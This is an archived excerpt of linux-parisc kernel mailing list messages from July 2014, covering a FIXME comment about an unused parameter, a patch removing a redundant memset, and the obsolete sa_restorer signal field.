        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=R1G8HQ4cc+63AyN6SC9Xe1IKi2Gbfodlemp+nuriHNk=;
        b=jShdNrIJ7hg38YlQAqJrkFqU8xl5de2XhITJ5L1Ru9EuRHHgrRYOk4BZqGYcTn781f
         DSOtPZfZ16XldzWX2I7+yPHSOOZZHNP4b9D8jDck9JG9WFP6XTlklB1R3lRSuVI0XNvd
         xe/NtL6uqB4FmaWAT2Ld4GuqILf7ySNz8rNNDmhbdGuCLFOA2F0floiKYyOJ7G5NTtfk
         YgqrLA+0IAzSF46VNY/2kROR7d7LV8CVmq4AcCfLzG4SZlqPjATbVdj0dBeV6dZMDS3W
         4HP5LpgE3GfuCl/r5k2FBaxTEqmTzGZKEB9vfEdG9fLJFR+TAg4ZyRcUFnMzQTWNkq04
         fj0w==
X-Received: by 10.221.41.135 with SMTP id tu7mr8618505vcb.70.1405736707895;
 Fri, 18 Jul 2014 19:25:07 -0700 (PDT)
Original-Received: by 10.221.53.5 with HTTP; Fri, 18 Jul 2014 19:25:07 -0700 (PDT)
In-Reply-To: <1405717414.30262.12.camel@dabdike.int.hansenpartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5946 gmane.linux.kernel:1751422
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5946>

On Fri, Jul 18, 2014 at 5:03 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Fri, 2014-07-18 at 16:37 -0400, Nicholas Krause wrote:
>> The comment for size of frame not being needed is incorrect , the
>> function called needs this parameter.
>
> Actually, that's not correct.  The point of the FIXME is that fram_size
> is only used in a debug print and could be eliminated since the
> internals of the function excluding the debugging statements don't use
> it.
>
> James
>
>

So I need to need a patch removing the parameter from the  function
and this part of the code?
Cheers Nick
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove FIXME comment
Date: Fri, 18 Jul 2014 22:20:56 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <1405747256.605.36.camel@jarvis.lan>
References: <1405715823-17492-1-git-send-email-xerofoify@gmail.com>
	 <1405717414.30262.12.camel@dabdike.int.hansenpartnership.com>
	 <CAPDOMVjScF=7ES7NU=R6sGOmp7QycKX+uMXL-w+1rNEak4G7Dg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405747268 2802 80.91.229.3 (19 Jul 2014 05:21:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2014 05:21:08 +0000 (UTC)
Cc: deller@gmx.de, tiwai@suse.de, Jiri Kosina <jkosina@suse.cz>,
	Joe Perches <joe@perches.com>, dave.anglin@bell.net,
	linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Nick Krause <xerofoify@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 07:21:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8N4t-0008FA-Hx
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Jul 2014 07:20:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751124AbaGSFU7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2014 01:20:59 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48267 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750835AbaGSFU6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2014 01:20:58 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C59518EE1C0;
	Fri, 18 Jul 2014 22:20:57 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id oZCDbEB0D37k; Fri, 18 Jul 2014 22:20:57 -0700 (PDT)
Original-Received: from [153.66.254.242] (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2B6CB8EE06D;
	Fri, 18 Jul 2014 22:20:57 -0700 (PDT)
In-Reply-To: <CAPDOMVjScF=7ES7NU=R6sGOmp7QycKX+uMXL-w+1rNEak4G7Dg@mail.gmail.com>
X-Mailer: Evolution 3.10.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5947 gmane.linux.kernel:1751436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5947>

On Fri, 2014-07-18 at 22:25 -0400, Nick Krause wrote:
> On Fri, Jul 18, 2014 at 5:03 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > On Fri, 2014-07-18 at 16:37 -0400, Nicholas Krause wrote:
> >> The comment for size of frame not being needed is incorrect , the
> >> function called needs this parameter.
> >
> > Actually, that's not correct.  The point of the FIXME is that fram_size
> > is only used in a debug print and could be eliminated since the
> > internals of the function excluding the debugging statements don't use
> > it.
> >
> > James
> >
> >
> 
> So I need to need a patch removing the parameter from the  function
> and this part of the code?

Well, no, I'm not sure there's any action to take.  The FIXME reminds us
that there's no actual use of the frame size in the function body except
for the debugging prints.  The parameter could be removed if everyone
who debugs the kernel agrees either to remove the debug code or remove
the frame pointer from the prints, but it's probably not worth bothering
about, which is why it's still there.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Krause <xerofoify@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove FIXME comment
Date: Sat, 19 Jul 2014 01:28:22 -0400
Lines: 40
Approved: news@gmane.org
Message-ID: <CAPDOMVhKZsjKn8BDq-epTkqZ4oByFtyCwuxqrSGcvMhB3+ATOA@mail.gmail.com>
References: <1405715823-17492-1-git-send-email-xerofoify@gmail.com>
	<1405717414.30262.12.camel@dabdike.int.hansenpartnership.com>
	<CAPDOMVjScF=7ES7NU=R6sGOmp7QycKX+uMXL-w+1rNEak4G7Dg@mail.gmail.com>
	<1405747256.605.36.camel@jarvis.lan>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405747717 7691 80.91.229.3 (19 Jul 2014 05:28:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2014 05:28:37 +0000 (UTC)
Cc: deller@gmx.de, tiwai@suse.de, Jiri Kosina <jkosina@suse.cz>,
	Joe Perches <joe@perches.com>, dave.anglin@bell.net,
	linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 07:28:26 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8NC4-0004Di-Ec
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Jul 2014 07:28:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751290AbaGSF2Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2014 01:28:24 -0400
Original-Received: from mail-vc0-f171.google.com ([209.85.220.171]:33041 "EHLO
	mail-vc0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750835AbaGSF2X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2014 01:28:23 -0400
Original-Received: by mail-vc0-f171.google.com with SMTP id hq11so7420301vcb.30
        for <multiple recipients>; Fri, 18 Jul 2014 22:28:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=5Y5Wy+XwOXzQcY+Bu/zBlHctBrOG0hKfTkctkYDxT+Y=;
        b=iOKefIldhgyefDxyl2KwYSnFa/XF/P4TB2ulEd7OMvUnrwHfxJ+cK1VdUKTpADi5uW
         W1Pvd52pmS3u2+DqzmAyh9ZU18BEQSALNhhZG09uYWpo2ubg/gWFasmChILFYAogbPXl
         MWYOty7kmUEYxnFHv+l/cKy5+GpGSSXZ0KUGzffC0ty4vz/6YdVXaa4NUhQccQgfWCuX
         tZCkdKDfFhD3LAFMpWihFL7Ko/i6MMWoImY0jHq/xaeOew9Rk/F+NxdcRqErysnNrvTZ
         SqR8UHbJVtm29CzsqOPmJvoSF5mDZbSZ83GbaH8i4RZy5dqgnfNDnHNCT0XBNZeJeuYS
         xBlg==
X-Received: by 10.52.28.231 with SMTP id e7mr9498001vdh.55.1405747702768; Fri,
 18 Jul 2014 22:28:22 -0700 (PDT)
Original-Received: by 10.221.53.5 with HTTP; Fri, 18 Jul 2014 22:28:22 -0700 (PDT)
In-Reply-To: <1405747256.605.36.camel@jarvis.lan>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5948 gmane.linux.kernel:1751437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5948>

On Sat, Jul 19, 2014 at 1:20 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Fri, 2014-07-18 at 22:25 -0400, Nick Krause wrote:
>> On Fri, Jul 18, 2014 at 5:03 PM, James Bottomley
>> <James.Bottomley@hansenpartnership.com> wrote:
>> > On Fri, 2014-07-18 at 16:37 -0400, Nicholas Krause wrote:
>> >> The comment for size of frame not being needed is incorrect , the
>> >> function called needs this parameter.
>> >
>> > Actually, that's not correct.  The point of the FIXME is that fram_size
>> > is only used in a debug print and could be eliminated since the
>> > internals of the function excluding the debugging statements don't use
>> > it.
>> >
>> > James
>> >
>> >
>>
>> So I need to need a patch removing the parameter from the  function
>> and this part of the code?
>
> Well, no, I'm not sure there's any action to take.  The FIXME reminds us
> that there's no actual use of the frame size in the function body except
> for the debugging prints.  The parameter could be removed if everyone
> who debugs the kernel agrees either to remove the debug code or remove
> the frame pointer from the prints, but it's probably not worth bothering
> about, which is why it's still there.
>
> James
>
>
Ok then , seems its going through I can however write some comments to
explain this
if needed.
Cheers Nick
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Himangi Saraogi <himangi774@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Eliminate memset after alloc_bootmem_pages
Date: Sat, 19 Jul 2014 17:07:41 +0530
Lines: 39
Approved: news@gmane.org
Message-ID: <20140719113741.GA23655@himangi-Dell>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1405769878 31370 80.91.229.3 (19 Jul 2014 11:37:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Jul 2014 11:37:58 +0000 (UTC)
Cc: Julia Lawall <julia.lawall@lip6.fr>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Jul 19 13:37:51 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8Sxa-0008TH-Lg
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Jul 2014 13:37:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761459AbaGSLht (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Jul 2014 07:37:49 -0400
Original-Received: from mail-pd0-f182.google.com ([209.85.192.182]:49423 "EHLO
	mail-pd0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1761022AbaGSLhs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Jul 2014 07:37:48 -0400
Original-Received: by mail-pd0-f182.google.com with SMTP id fp1so6398703pdb.41
        for <multiple recipients>; Sat, 19 Jul 2014 04:37:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:mime-version:content-type
         :content-disposition:user-agent;
        bh=8JZYG/FmiHGOqgRFNqealPz/fAU+PJntPJvGZ6vIprk=;
        b=M/PGpPCaOHpPAHLjgfV8jIuoUZPa8sy8IBg0mLDVOPtFWmf7AoIzgAhYWhiM2CjT0u
         8f1taLuinShGOUFR4rPZMapuS8Oglta2SpycRkQkZu2C2l4r7xhJRlHMVoRNXfQ0NC7t
         QudieQgpe0jFWzKZkbTJblLxg6KcCVUe3vXL9Nzk0v1L1UoqNY4HjMiTowV41gJ80CGv
         k6C9vNK9jg1F4eAJrFZr8gaefGrWPVKUFiWhKOJY3+alM/RU1cfhIDwYXPpY2h+3B7uX
         /2kgB4DfcLiarzRL3Pupetp4zxKhxmbvrEilYfcafPh4zhO159BUJYvyd5QBBLzwFHY8
         YuIQ==
X-Received: by 10.66.163.98 with SMTP id yh2mr12075476pab.104.1405769868387;
        Sat, 19 Jul 2014 04:37:48 -0700 (PDT)
Original-Received: from localhost ([125.17.132.98])
        by mx.google.com with ESMTPSA id cr4sm8327576pbb.86.2014.07.19.04.37.44
        for <multiple recipients>
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Sat, 19 Jul 2014 04:37:47 -0700 (PDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5949 gmane.linux.kernel:1751489
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5949>

alloc_bootmem and related function always return zeroed region of
memory. Thus a memset after calls to these functions is unnecessary.

The following Coccinelle semantic patch was used for making the change:

@@
expression E,E1;
@@

E = \(alloc_bootmem\|alloc_bootmem_low\|alloc_bootmem_pages\|alloc_bootmem_low_pages\)(...)
... when != E
- memset(E,0,E1);

Signed-off-by: Himangi Saraogi <himangi774@gmail.com>
Acked-by: Julia Lawall <julia.lawall@lip6.fr>
---
 arch/parisc/mm/init.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index ae085ad..0bef864 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -728,7 +728,6 @@ static void __init pagetable_init(void)
 #endif
 
 	empty_zero_page = alloc_bootmem_pages(PAGE_SIZE);
-	memset(empty_zero_page, 0, PAGE_SIZE);
 }
 
 static void __init gateway_init(void)
-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Krause <xerofoify@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: processor.c: Fix me to rewrite init_percpu_pro
Date: Sun, 20 Jul 2014 00:36:33 -0400
Lines: 9
Approved: news@gmane.org
Message-ID: <CAPDOMViJX4gr+J9wA8WPpe8bSjdQMsCLZF+JZD8OMWOEgK-cig@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405831016 2718 80.91.229.3 (20 Jul 2014 04:36:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2014 04:36:56 +0000 (UTC)
To: jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 20 06:36:49 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X8irg-0006Ss-Ih
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Jul 2014 06:36:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750982AbaGTEge (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2014 00:36:34 -0400
Original-Received: from mail-vc0-f177.google.com ([209.85.220.177]:45881 "EHLO
	mail-vc0-f177.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750885AbaGTEge (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2014 00:36:34 -0400
Original-Received: by mail-vc0-f177.google.com with SMTP id hy4so9803113vcb.22
        for <multiple recipients>; Sat, 19 Jul 2014 21:36:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:date:message-id:subject:from:to:content-type;
        bh=De7wNdTNviMtHdA26YVUUKHwjLNd2pQRiA+EtQg2Tdk=;
        b=w3PYhcxkEg91JTkQucJVF+YKiWlcK8DEg3tJ7yZBjiRj9Af9t6UKK8Rd4PAq7sZ2qe
         Ghu174qDN7/mlXTtLa5VtPPbTCzlUiKMPBKmcpty/5n4uciy/lrrNulopmycRqd4TDXA
         O+wTok5NTrOh1Nj+DYwcnmV+IbKnWIIZMqHiOGnxYo2lcGUYbQ8j7Fo5Zr2duKH/Jp4o
         Jh/4rbauHTot1tBUHe6yCat2DDEQdX+e28C++7suNcRIf4ixFmUIswSlGtOPiUJGT0nu
         /ZvO/JA3raS6sUulTJbIivFuChTdsatlE6Tq/zWL3hlRbPjRMa+EoZ1F5Pf2xXbbkB0b
         ZYNw==
X-Received: by 10.221.47.9 with SMTP id uq9mr1237840vcb.48.1405830993184; Sat,
 19 Jul 2014 21:36:33 -0700 (PDT)
Original-Received: by 10.221.53.5 with HTTP; Sat, 19 Jul 2014 21:36:33 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5950 gmane.linux.kernel:1751657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5950>

Hey James
I am wondering how you would like this function.init_percpu_pro
in processor.c.
Cheers Nick
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: struct sigaction sa_restorer field
Date: Sun, 20 Jul 2014 19:32:22 -0400
Lines: 15
Approved: news@gmane.org
Message-ID: <BLU436-SMTP205700FFA476092032AE8BA97F30@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405899169 8784 80.91.229.3 (20 Jul 2014 23:32:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Jul 2014 23:32:49 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 21 01:32:42 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X90av-0008Ip-7E
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Jul 2014 01:32:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751353AbaGTXck (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Jul 2014 19:32:40 -0400
Original-Received: from blu004-omc4s26.hotmail.com ([65.55.111.165]:61929 "EHLO
	BLU004-OMC4S26.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751301AbaGTXck (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Jul 2014 19:32:40 -0400
Original-Received: from BLU436-SMTP205 ([65.55.111.136]) by BLU004-OMC4S26.hotmail.com with Microsoft SMTPSVC(7.5.7601.22712);
	 Sun, 20 Jul 2014 16:32:39 -0700
X-TMN: [iHTEDUtadzdia8PZ+O+T+4c5hayi3Gc7]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.16] ([70.26.30.52]) by smtphm.sympatico.ca over TLS secured channel with Microsoft SMTPSVC(8.0.9200.16384);
	 Sun, 20 Jul 2014 16:32:38 -0700
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 20 Jul 2014 23:32:38.0417 (UTC) FILETIME=[E484D010:01CFA472]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5951
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5951>

The sa_restorer field is obsolete and not in the hppa struct  
sigaction, but we still
define SA_RESTORER.  What should be done?

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: struct sigaction sa_restorer field
Date: Mon, 21 Jul 2014 10:25:46 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <trinity-72a99ebc-405d-44c1-8c8b-0a04a9b401b3-1405931146850@3capp-gmx-bs43>
References: <BLU436-SMTP205700FFA476092032AE8BA97F30@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405931163 17615 80.91.229.3 (21 Jul 2014 08:26:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Jul 2014 08:26:03 +0000 (UTC)
Cc: "linux-parisc List" <linux-parisc@vger.kernel.org>
To: "John David Anglin" <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 21 10:25:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X98uz-0002fF-Dy
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Jul 2014 10:25:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753761AbaGUIZw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Jul 2014 04:25:52 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:56633 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753745AbaGUIZv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Jul 2014 04:25:51 -0400
Original-Received: from [155.56.68.215] by 3capp-gmx-bs43.server.lan (via HTTP); Mon,
 21 Jul 2014 10:25:46 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <BLU436-SMTP205700FFA476092032AE8BA97F30@phx.gbl>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:NG5HHdIy0NtcUwfdkklzMFTNN9v/8nNLjhBn7BTfInk
 aBWyyZB10L1iusQyvk+gosb9EnA7WQLrmPmSe87OQfE+jVngI1
 R4B57//Hez0vAOV6ItABIFX1AF0ncilfHXXlzWc4CH9G3pf6Ub
 JudfIafssaiEM/zCbxjupuI4ZlSP32gGV42C+1XEHg+roMl94F
 82MjosSpfC0mFNRYsFg8JiBJI1Z/otuRxG5xjIt3PKRDmFDkgt
 DKotGt3UoWWzIJjCtMM1v7j+fpLcDm5lR8hqylWCUZrHoKHo8r Y+hjFs=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5952
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5952>

Hi Dave,

> The sa_restorer field is obsolete and not in the hppa struct  
> sigaction, but we still define SA_RESTORER.  What should be done?

Basically to not break userspace we can't (and shouldn't) add the sa_restorer struct member.
So, the only option would be to drop the SA_RESTORER #define, right?
But I have no idea how and if this will break some builds, since the major arches seem to define SA_RESTORER...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Weinberger <richard@sigma-star.at>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 15/43] parisc: Use get_signal() signal_setup_done()
Date: Mon, 21 Jul 2014 16:03:01 +0200
Lines: 176
Approved: news@gmane.org
Message-ID: <1405951409-16953-16-git-send-email-richard@sigma-star.at>
References: <1405951409-16953-1-git-send-email-richard@sigma-star.at>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1405952044 18471 80.91.229.3 (21 Jul 2014 14:14:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Jul 2014 14:14:04 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-arch@vger.kernel.org,
	Richard Weinberger <richard@nod.at>, jejb@parisc-linux.org,
	deller@gmx.de, linux-parisc@vger.kernel.org
To: akpm@linux-foundation.org
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jul 21 16:14:01 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1X9ELl-0000tv-Nr
